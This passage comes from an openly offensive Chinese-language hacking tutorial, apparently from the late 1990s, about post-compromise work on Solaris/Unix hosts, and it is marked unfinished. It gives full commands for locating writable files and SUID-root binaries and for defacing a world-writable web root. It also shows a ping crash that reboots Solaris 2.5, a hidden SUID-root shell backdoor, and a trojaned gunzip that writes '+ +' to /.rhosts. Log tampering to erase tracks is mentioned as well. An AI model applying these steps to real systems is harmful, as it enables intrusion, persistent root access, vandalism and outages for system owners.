159.226.5.128 159.226.5.188 U 3 341 be0
224.0.0.0 159.226.5.188 U 3 0 be0
default 159.226.5.189 UG 0 1198
......
2.1) 寻找可写文件、目录
ox% cd /tmp
ox% cd /tmp
ox% mkdir .hide
ox% cd .hide
ox% ls -ld `find / ( ( -type d -o -type f ) -a ( -perm -0002 -o -group 800
-a -perm -0020 ) ) -print` >.wr
(samsa:wr=writables:可写目录、文件)
ox% grep '^d' .wr > .wd
(samsa:wd=writable directories:目录)
ox% grep '^-' .wr > .wf
(samsa:wf=writable files:普通文件)
ox% ls -l `find / ( -perm -4000 -a -user root ) -print` >.sr
(samsa:sr=suid roots)
2.1.1) 系统配置文件可写:e.g.pam.conf,inetd.conf,inittab,passwd,etc.
2.1.2) bin 目录可写:e.g./usr/bin,/usr/local/bin,etc. (see:Trojan horses)
2.1.3) log 文件可写:e.g./var/adm/wtmp,/var/adm/messges,etc.(for track-erasing)
2.2) 篡改主页
绝大多数系统 http 根目录下权限设置有误!不信请看:
ox1% grep http /etc/inetd.conf
ox1% ps -ef | grep http
http 7538 251 0 14:02:35 ? 0:02 /opt/home1/ofc/http/httpd/httpd -
f /opt/home1/ofc/http/httpd/conf/httpd.conf
http 7567 251 0 15:16:46 ? 0:01 /opt/home1/ofc/http/httpd/httpd -
f /opt/home1/ofc/http/httpd/conf/httpd.conf
root 251 1 0 May 05 ? 3:27 /opt/home1/ofc/http/httpd/httpd -
f /opt/home1/ofc/http/httpd/conf/httpd.conf
......
ox1% cd /opt/home1/ofc/http/httpd
ox1% ls -l |more
total 530
drwxrwxrwx 11 http ofc 512 Jan 18 13:21 English
-rw-rw-rw- 1 http ofc 8217 May 10 09:42 Welcome.html
-rw-rw-rw- 1 http ofc 8217 May 10 09:42 Welcome.html
drwxr-sr-x 2 http ofc 512 Dec 24 15:20 cgi-bin
drwxr-sr-x 2 http ofc 512 Mar 24 1997 cgi-src
drwxrwxrwx 2 http ofc 512 Jan 12 15:05 committee
drwxr-sr-x 2 root ofc 512 Jul 2 1998 conf
-rwxr-xr-x 1 http ofc 203388 Jul 2 1998 httpd
drwxrwxrwx 2 http ofc 512 Jan 12 15:06 icons
drwxrwxrwx 2 http ofc 3072 Jan 12 15:07 images
-rw-rw-rw- 1 http ofc 7532 Jan 12 15:08 index.htm
drwxrwxrwx 2 http ofc 512 Jan 12 15:07 introduction
drwxr-sr-x 2 http ofc 512 Apr 13 08:46 logs
drwxrwxrwx 2 http ofc 1024 Jan 12 17:19 research
(samsa:哈哈!!差不多全都可以写,太牛了,改吧,还等什么??)
3) 拒绝服务(DoS:Denial of Service)
利用系统漏洞捣乱
e.g. Solaris 2.5(2.5.1)下:
$ ping -sv -i 127.0.0.1 224.0.0.1
PING 224.0.0.1 56 data bytes
(samsa:于是机器就reboot乐,荷荷)
六、最后的疯狂(善后)
1) 后门
e.g.有一次,俺通过改写/.rhosts成了root,但.rhosts很容易被发现的哦,怎么
办?留个后门的说:
# rm -f /.rhosts
# cd /usr/bin
# ls mscl
# ls mscl
mscl: 无此文件或目录
# cp /bin/ksh mscl
# chmod a+s mscl
# ls -l mscl
-r-sr-sr-x 1 root ofc 192764 5月 19 11:42 mscl
以后以任何用户登录,只要执行``/usr/bin/mscl''就成root了。
/usr/bin下面那一大堆程序,能发现这个mscl的几率简直小到可以忽略不计了。
2) 特洛伊木马
e.g. 有一次我发现:
$ echo $PATH
/usr/sbin:/usr/bin:/usr/ccs/bin:/opt/gnu/bin:.
$ ls -ld /opt/gnu
drwxrwxrwx 7 root other 512 5月 14 11:54 /opt/gnu
$ cd /opt/gnu
$ ls -l
total 24
drwxrwxrwx 7 root other 512 5月 14 11:54 .
drwxrwxr-x 9 root sys 512 5月 19 15:37 ..
drwxr-xr-x 2 root other 1536 5月 14 16:10 bin
drwxr-xr-x 3 root other 512 1996 11月 29 include
drwxr-xr-x 2 root other 3584 1996 11月 29 info
drwxr-xr-x 4 root other 512 1997 12月 17 lib
$ cp -R bin .TT_RT; cd .TT_RT
``.TT_RT''这种东东看起来象是系统的...
决定替换常用的程序gunzip
$ mv gunzip gunzip:
$ cat > toxan
#!/bin/sh
echo "+ +" >/.rhosts
^D
$ cat > gunzip
if [ -f /.rhosts ]
then
mv /opt/gnu/bin /opt/gnu/.TT_RT
mv /opt/gnu/.TT_DB /opt/gnu/bin
/opt/gnu/bin/gunzip $*
else
/opt/gnu/bin/gunzip: $*
fi
fi
^D
$ chmod 755 toxan gunzip
$ cd ..
$ mv bin .TT_DB
$ mv .TT_RT bin
$ ls -l
total 16
drwxr-xr-x 2 zw staff 1536 5月 14 16:10 bin
drwxr-xr-x 3 root other 512 1996 11月 29 include
drwxr-xr-x 2 root other 3584 1996 11月 29 info
drwxr-xr-x 4 root other 512 1997 12月 17 lib
$ ls -al
total 24
drwxrwxrwx 7 root other 512 5月 14 11:54 .
drwxrwxr-x 9 root sys 512 5月 19 15:37 ..
drwxr-xr-x 2 root other 1536 1998 11月 2 .TT_DB
drwxr-xr-x 2 zw staff 1536 5月 14 16:10 bin
drwxr-xr-x 3 root other 512 1996 11月 29 include
drwxr-xr-x 2 root other 3584 1996 11月 29 info
drwxr-xr-x 4 root other 512 1997 12月 17 lib
虽然有点暴露的可能(bin的属主竟然是zw!!!),但也顾不得了。
(未完待序)